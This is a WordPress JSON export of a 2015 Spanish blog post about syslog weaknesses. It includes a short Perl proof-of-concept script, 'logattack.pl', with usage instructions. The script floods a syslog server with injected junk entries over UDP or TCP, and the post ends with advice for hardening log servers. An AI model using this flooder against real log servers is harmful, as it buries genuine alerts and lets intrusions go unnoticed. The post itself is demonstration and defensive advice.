{"id":703,"date":"2015-09-13T19:40:46","date_gmt":"2015-09-13T22:40:46","guid":{"rendered":"http:\/\/www.nerdadas.com.ar\/blog\/?p=703"},"modified":"2015-09-13T19:40:46","modified_gmt":"2015-09-13T22:40:46","slug":"el-syslog-no-se-mancha-syslog-exploit","status":"publish","type":"post","link":"https:\/\/www.nerdadas.com\/blog\/el-syslog-no-se-mancha-syslog-exploit\/","title":{"rendered":"El Syslog no se Mancha! [Syslog Exploit]"},"content":{"rendered":"<p>Despu\u00e9s de un tiempo comenc\u00e9 a probar y jugar y jugar y jugar y jugar(etc..) con los <a href=\"https:\/\/es.wikipedia.org\/wiki\/Log_(registro)\">Logs<\/a> de servidores y equipos de red. Es fundamental en cualquier <strong>red decente<\/strong> que todos los logs est\u00e9n centralizados en uno o m\u00e1s servidores dedicados a tal fin y, por supuesto, que todos estos dispositivos est\u00e9n sincronizados con la misma hora y fecha (Es necesaria la misma hora para que todos notifiquen del problema cuando realmente sucedi\u00f3).<\/p>\n<p>As\u00ed pues mont\u00e9 mi Syslog Server y empec\u00e9 a monitorear la red, agregando servidores, routers y switches.<\/p>\n<p>Encontr\u00e9 defectos y errores gracias a esta maravilla y pude solucionar muchos problemas relacionados; pero tambi\u00e9n encontr\u00e9 algunas falencias\u00a0en el funcionamiento mismo del Syslog.<\/p>\n<p>Cuando se me ocurri\u00f3 agregar el ASA(<a href=\"https:\/\/es.wikipedia.org\/wiki\/Cortafuegos_(inform%C3%A1tica)\">Firewall<\/a> <a href=\"https:\/\/es.wikipedia.org\/wiki\/Cisco_Systems\">Cisco<\/a>) a monitorear ya todo se convirti\u00f3 en ASA y no pude ver m\u00e1s nada. Cisco ASA env\u00edo unos 1000 logs en menos de 1 hora. Una cantidad terrible de logs pr\u00e1cticamente ilegibles e inmanipulables. Es as\u00ed como el Syslog ya no me sirvi\u00f3 de nada, todo lo que pudiera analizar estaba obstruido por la cantidad de basura diaria que enviaba este dispositivo. Ah\u00ed fue cuando record\u00e9 la clase de CCNA donde nos hablaron de este tipo de error\/vulnerabilidad.<\/p>\n<p>Busqu\u00e9 en la red alg\u00fan exploit pero solo encontr\u00e9 pocos ejemplos y muchas preguntas. As\u00ed que&#8230; domingo a la ma\u00f1ana, dispuse de 30 minutos para escribir mi propio exploit para atacar un syslog server.<\/p>\n<p>Practicamente <strong>\u00abensucia\u00bb\u00a0<\/strong>tus registros de logs inyectando basura.<strong> Es posible filtrar esa basura?<\/strong>. Siiiii, claro!, pero ten\u00e9s que tomarte el trabajo de hacer el <a href=\"https:\/\/translate.google.com\/#auto\/es\/parser\">parse<\/a> correspondiente. La idea es demostrar de una forma pr\u00e1ctica y sencilla como con dos o tres comandos se puede dejar obsoleto un servidor logs no\u00a0<strong>asegurado\u00a0<\/strong>correctamente.<\/p>\n<p>El script lo escrib\u00ed en <a href=\"https:\/\/www.perl.org\/\">Perl\u00a0<\/a>que es un lenguaje de scripting que me queda c\u00f3modo y funciona en cualquier cosa (Windows, Linux, Solaris, Mac, etc&#8230;). Si ten\u00e9s Windows pod\u00e9s probarlo bajando <a href=\"http:\/\/www.activestate.com\/activeperl\/downloads\">Active Perl<\/a>\u00a0y si ten\u00e9s linux con un <em>#yum install perl<\/em> o <em>#apt-get install perl\u00a0<\/em>lo ten\u00e9s en segundos.(Si es que ya no lo ten\u00e9s instalado)<\/p>\n<p>Lo corr\u00e9s en una <a href=\"https:\/\/es.wikipedia.org\/wiki\/Shell_(inform%C3%A1tica)\">shell<\/a>\u00a0(CLI) as\u00ed: \u00a0<strong><em>#logattack.pl\u00a0127.0.0.1\u00a0\u00abServer Hackeado!!!\u00bb\u00a0udp\u00a01000000<\/em><\/strong> d\u00f3nde el primer par\u00e1metro es la ip del Syslog Server, el segundo el mensaje que va a aparecer, protocolo (udp\/tcp) y la cantidad de registros a insertar(ojo con este \u00faltimo n\u00famero porque el ataque es instant\u00e1neo).<\/p>\n<p>[pastacode lang=\u00bbbash\u00bb message=\u00bblogattack.pl\u00bb highlight=\u00bb\u00bb provider=\u00bbmanual\u00bb]<\/p>\n<pre><code>#!\/usr\/bin\/perl\/\r\n# Includes\r\n\tuse Sys::Syslog; # Todo excepto setlogsock(), or: \r\n\tuse Sys::Syslog qw(:DEFAULT setlogsock); # por defecto... setlogsock() \r\n\tuse Sys::Syslog qw(:standard :macros); # Todas las funciones necesarias\r\n\r\n\tif($ARGV[0]==\"\"){\r\n\t\tprint \"\/***** Prueba de Concepto - Jeremias Palazzesi ****\/\";\r\n\t\tprint \"\\n\\nlogattack [HOST] [\\\"MENSAJE\\\"] [udp\/tcp] [Cantidad de lineas a insertar(entero)]\\n\\n\";\r\n\t}else{\r\n\t\r\n\t\t# Define Vars\r\n\t\tmy $host = $ARGV[0];\r\n\t\tmy $mensaje = $ARGV[1];\r\n\t\tmy $prot = $ARGV[2];\r\n\t\tmy $facility = \"LOCAL0\";\r\n\t\tmy $ident = \"696969\";\r\n\t\tmy $fin = $ARGV[3];\r\n\t\t\r\n\t\t# UDP \/ TCP\r\n\t\tsetlogsock($prot); \r\n\t\t\r\n\t\t#Ip Del server\r\n\t\t$Sys::Syslog::host = $host; \r\n\t\t\r\n\t\t# Abriendo log\r\n\t\topenlog($ident, 'ndelay,pid', $facility); \r\n\t\t\r\n\t\t#Bucle para repetir el ataque\r\n\t\tfor (my $i=0; $i < = $fin; $i++) {\r\n\t\t   syslog('info', $mensaje); \r\n\t\t}\r\n\t\t# Cerrando log\r\n\t\tcloselog;\r\n\t\r\n\t}\r\n<\/code><\/code><\/pre>\n<p>[\/pastacode]<\/p>\n<p>Lo pr\u00f3ximo a investigar es como hacer para spoofear el cliente syslog. (Imag\u00ednate que todos los dispositivos te avisan que est\u00e1n fallando cuando realmente no es as\u00ed: ALAAARMMM!!)<\/p>\n<p>Todo esto me llev\u00f3 al siguiente nivel: <strong>Aplicar seguridad a mi Syslog<\/strong>.<\/p>\n<p><em><strong>Consejos para cocinar un Log Server seguro en tu red<\/strong><\/em><\/p>\n<ol>\n<li>Establecer varios servidores de SYSLOG jerarquizados. Un servidor principal que almacene <strong>todo\u00a0<\/strong>y varios secundarios con logs parciales de la red.<\/li>\n<li>Implementar TLS\/SSL entre los syslogs sat\u00e9lites, el servidor principal y todos los clientes a fin de conservar la integridad y confidencialidad de la fuente.<\/li>\n<li>En caso de que algunos\u00a0dispositivos de red no soporte autenticaci\u00f3n y encriptaci\u00f3n (peque\u00f1os dispositivos de red, switches y routers) crear un servidor de logs aislado que reciba por UDP sin seguridad y solo asignar al mismo estos dispositivos y ninguno m\u00e1s. (Mejor un servidor expuesto que todos)<\/li>\n<li>Utilizar herramientas de <a href=\"https:\/\/translate.google.com\/#auto\/es\/parser\">parse<\/a> y no confiar en multitail o parsers b\u00e1sicos. (O mucho grep, find y pipes[|] O.o)<\/li>\n<li>Antes de apagar un incendio, cerci\u00f3rense que haya fuego!!! (en entornos inseguros es una opci\u00f3n con sentido com\u00fan).<\/li>\n<li>Implementen un SNMP para tener informaci\u00f3n redundante. (La paranoia es la base de la seguridad.)<\/li>\n<\/ol>\n<p style=\"text-align: right;\">\n","protected":false},"excerpt":{"rendered":"<p>Despu\u00e9s de un tiempo comenc\u00e9 a probar y jugar y jugar y jugar y jugar(etc..) con los Logs de servidores y equipos de red. Es fundamental en cualquier red decente que todos los logs est\u00e9n centralizados en uno o m\u00e1s servidores dedicados a tal fin y, por supuesto, que todos estos dispositivos est\u00e9n sincronizados con [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":705,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[301,64,3,161,1,17,804],"tags":[938,827,823,942,37,948,949,941,945,940,944,570,946,947,36,943],"class_list":["post-703","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-failswins","category-ideas","category-programacion","category-seguridad","category-sin-categoria","category-tecnologia","category-ti","tag-bash","tag-centos","tag-debian","tag-exploit","tag-linux","tag-mandriva","tag-perl","tag-rsyslog","tag-spoof","tag-syslog","tag-trash","tag-trashing","tag-win32","tag-win64","tag-windows","tag-xploit"],"_links":{"self":[{"href":"https:\/\/www.nerdadas.com\/blog\/wp-json\/wp\/v2\/posts\/703","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.nerdadas.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.nerdadas.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.nerdadas.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.nerdadas.com\/blog\/wp-json\/wp\/v2\/comments?post=703"}],"version-history":[{"count":16,"href":"https:\/\/www.nerdadas.com\/blog\/wp-json\/wp\/v2\/posts\/703\/revisions"}],"predecessor-version":[{"id":720,"href":"https:\/\/www.nerdadas.com\/blog\/wp-json\/wp\/v2\/posts\/703\/revisions\/720"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.nerdadas.com\/blog\/wp-json\/wp\/v2\/media\/705"}],"wp:attachment":[{"href":"https:\/\/www.nerdadas.com\/blog\/wp-json\/wp\/v2\/media?parent=703"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.nerdadas.com\/blog\/wp-json\/wp\/v2\/categories?post=703"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.nerdadas.com\/blog\/wp-json\/wp\/v2\/tags?post=703"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}